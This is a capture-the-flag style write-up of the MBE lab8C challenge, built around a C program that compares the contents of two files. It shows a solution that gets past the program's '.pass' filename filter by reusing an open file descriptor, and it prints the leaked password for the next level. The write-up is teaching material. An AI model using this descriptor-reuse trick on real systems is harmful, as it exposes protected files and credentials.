For this lab, we are given a program and its corresponding source code:
/*
* gcc -z relro -z now -fPIE -pie -fstack-protector-all -o lab8C lab8C.c
*/
#include<errno.h>
#include<fcntl.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<sys/types.h>
#include<unistd.h>
struct fileComp {
char fileContents1[255];
char fileContents2[255];
int cmp;
};
char* readfd(int fd)
{
// Find length of file
int size = lseek(fd, 0, SEEK_END);
if(size >= 255)
{
printf("Your file is too big.\n");
exit(EXIT_FAILURE);
}
// Reset fd to beginning of file
lseek(fd, 0, SEEK_SET);
// Allocate space for the file and a null byte
char* fileContents = malloc((size+1) & 0xff);
if(!fileContents)
{
printf("Could not allocate space for file contents\n");
exit(EXIT_FAILURE);
}
// Read the file contents into the buffer
int numRead = read(fd, fileContents, size & 0xff);
return fileContents;
}
int getfd(char* arg)
{
if(arg[0] != '-' || arg[1] != 'f' || arg[3] != '=')
{
printf("Invalid formatting in argument \"%s\"\n", arg);
return -1;
}
int fd;
if(arg[2] == 'n')
{
// O_NOFOLLOW means that it won't follow symlinks. Sorry.
fd = open(arg+4, O_NOFOLLOW | O_RDONLY);
if(fd == -1)
{
printf("File could not be opened\n");
return -1;
}
}
else if(arg[2] == 'd')
{
errno = 0;
fd = atoi(arg+4);
}
else
{
printf("Invalid formatting in argument \"%s\"\n", arg);
return -1;
}
return fd;
}
struct fileComp* comparefds(int fd1, int fd2)
{
struct fileComp* fc = malloc(sizeof(struct fileComp));
if(!fc)
{
printf("Could not allocate space for file contents\n");
exit(EXIT_FAILURE);
}
strcpy(fc->fileContents1, readfd(fd1));
strcpy(fc->fileContents2, readfd(fd2));
fc->cmp = strcmp(fc->fileContents1, fc->fileContents2);
return fc;
}
char* securityCheck(char* arg, char* s)
{
if(strstr(arg, ".pass"))
return "<<<For security reasons, your filename has been blocked>>>";
return s;
}
int main(int argc, char** argv)
{
if(argc != 3)
{
printf("Hi. This program will do a lexicographical comparison of the \
contents of two files. It has the bonus functionality of being \
able to process either filenames or file descriptors.\n");
printf("Usage: %s {-fn=<filename>|-fd=<file_descriptor>} {-fn=<filename>|-fd=<file_descriptor>}\n", argv[0]);
return EXIT_FAILURE;
}
int fd1 = getfd(argv[1]);
int fd2 = getfd(argv[2]);
if(fd1 == -1 || fd2 == -1)
{
printf("Usage: %s {-fn=<filename>|-fd=<file_descriptor>} {-fn=<filename>|-fd=<file_descriptor>}\n", argv[0]);
return EXIT_FAILURE;
}
if(fd1 == 0 || fd2 == 0)
{
printf("Invalid fd argument.\n");
printf("(We're still fixing some bugs with using STDIN.)\n");
printf("Usage: %s {-fn=<filename>|-fd=<file_descriptor>} {-fn=<filename>|-fd=<file_descriptor>}\n", argv[0]);
return EXIT_FAILURE;
}
struct fileComp* fc = comparefds(fd1, fd2);
printf(
"\"%s\" is lexicographically %s \"%s\"\n",
securityCheck(argv[1], fc->fileContents1),
fc->cmp > 0 ? "after" : (fc->cmp < 0 ? "before" : "equivalent to"),
securityCheck(argv[2], fc->fileContents2));
return EXIT_SUCCESS;
}If we run checksec, we can see that stack canaries, NX, PIE and full RELRO are enabled.
gdb-peda$ checksec
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULLVulnerability
This level is not really a pwnable. Look at what happens when we use the fn option to ask the program to open “/etc/passwd”.
gdb-peda$ r -fn=/etc/passwd -fd=3
Starting program: /home/rh0gue/Documents/MBE/lab08/8C/lab8C -fn=/etc/passwd -fd=3
[----------------------------------registers-----------------------------------]
EAX: 0xfff575b1 ("/etc/passwd")
EBX: 0xf772cf9c --> 0x2ea4
ECX: 0xcd8846f6
EDX: 0xfff56894 --> 0xf76dc000 --> 0x1a9da8
ESI: 0x0
EDI: 0x0
EBP: 0xfff56818 --> 0xfff56868 --> 0x0
ESP: 0xfff567f0 --> 0xfff575b1 ("/etc/passwd")
EIP: 0xf772ab9b (<getfd+132>: call 0xf772a880 <open@plt>)
EFLAGS: 0x296 (carry PARITY ADJUST zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf772ab8d <getfd+118>: add eax,0x4
0xf772ab90 <getfd+121>: mov DWORD PTR [esp+0x4],0x20000
0xf772ab98 <getfd+129>: mov DWORD PTR [esp],eax
=> 0xf772ab9b <getfd+132>: call 0xf772a880 <open@plt>
0xf772aba0 <getfd+137>: mov DWORD PTR [ebp-0x10],eax
0xf772aba3 <getfd+140>: cmp DWORD PTR [ebp-0x10],0xffffffff
0xf772aba7 <getfd+144>: jne 0xf772ac05 <getfd+238>
0xf772aba9 <getfd+146>: lea eax,[ebx-0x1f63]
Guessed arguments:
arg[0]: 0xfff575b1 ("/etc/passwd")
arg[1]: 0x20000
[------------------------------------stack-------------------------------------]
0000| 0xfff567f0 --> 0xfff575b1 ("/etc/passwd")
0004| 0xfff567f4 --> 0x20000
0008| 0xfff567f8 --> 0x0
0012| 0xfff567fc --> 0xfff575ad ("-fn=/etc/passwd")
0016| 0xfff56800 --> 0xfff5683e --> 0x30000
0020| 0xfff56804 --> 0xfff5683f --> 0x300
0024| 0xfff56808 --> 0xc2
0028| 0xfff5680c --> 0xf4324200
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 12, 0xf772ab9b in getfd ()
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x3
EBX: 0xf772cf9c --> 0x2ea4
ECX: 0x20000
EDX: 0x0
ESI: 0x0
EDI: 0x0
EBP: 0xfff56818 --> 0xfff56868 --> 0x0
ESP: 0xfff567f0 --> 0xfff575b1 ("/etc/passwd")
EIP: 0xf772aba0 (<getfd+137>: mov DWORD PTR [ebp-0x10],eax)
EFLAGS: 0x203 (CARRY parity adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xf772ab90 <getfd+121>: mov DWORD PTR [esp+0x4],0x20000
0xf772ab98 <getfd+129>: mov DWORD PTR [esp],eax
0xf772ab9b <getfd+132>: call 0xf772a880 <open@plt>
=> 0xf772aba0 <getfd+137>: mov DWORD PTR [ebp-0x10],eax
0xf772aba3 <getfd+140>: cmp DWORD PTR [ebp-0x10],0xffffffff
0xf772aba7 <getfd+144>: jne 0xf772ac05 <getfd+238>
0xf772aba9 <getfd+146>: lea eax,[ebx-0x1f63]
0xf772abaf <getfd+152>: mov DWORD PTR [esp],eax
[------------------------------------stack-------------------------------------]
0000| 0xfff567f0 --> 0xfff575b1 ("/etc/passwd")
0004| 0xfff567f4 --> 0x20000
0008| 0xfff567f8 --> 0x0
0012| 0xfff567fc --> 0xfff575ad ("-fn=/etc/passwd")
0016| 0xfff56800 --> 0xfff5683e --> 0x30000
0020| 0xfff56804 --> 0xfff5683f --> 0x300
0024| 0xfff56808 --> 0xc2
0028| 0xfff5680c --> 0xf4324200
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0xf772aba0 in getfd ()Notice it succeeds and returns a file descriptor of 3.
Each file that is opened in a linux process is associated with a file descriptor.
We can leverage this in our second option when we specify that the contents of .pass be compared with the contents of the file associated with file descriptor 3, which will also be the contents of .pass!
This will bypass the check that is supposed to prevent the user from being able to print out the contents of any file with .pass in its name.
Solution
lab8C@warzone:/levels/lab08$ ./lab8C -fn=/home/lab8B/.pass -fd=3
"<<<For security reasons, your filename has been blocked>>>" is lexicographically equivalent to "3v3ryth1ng_Is_@_F1l3
"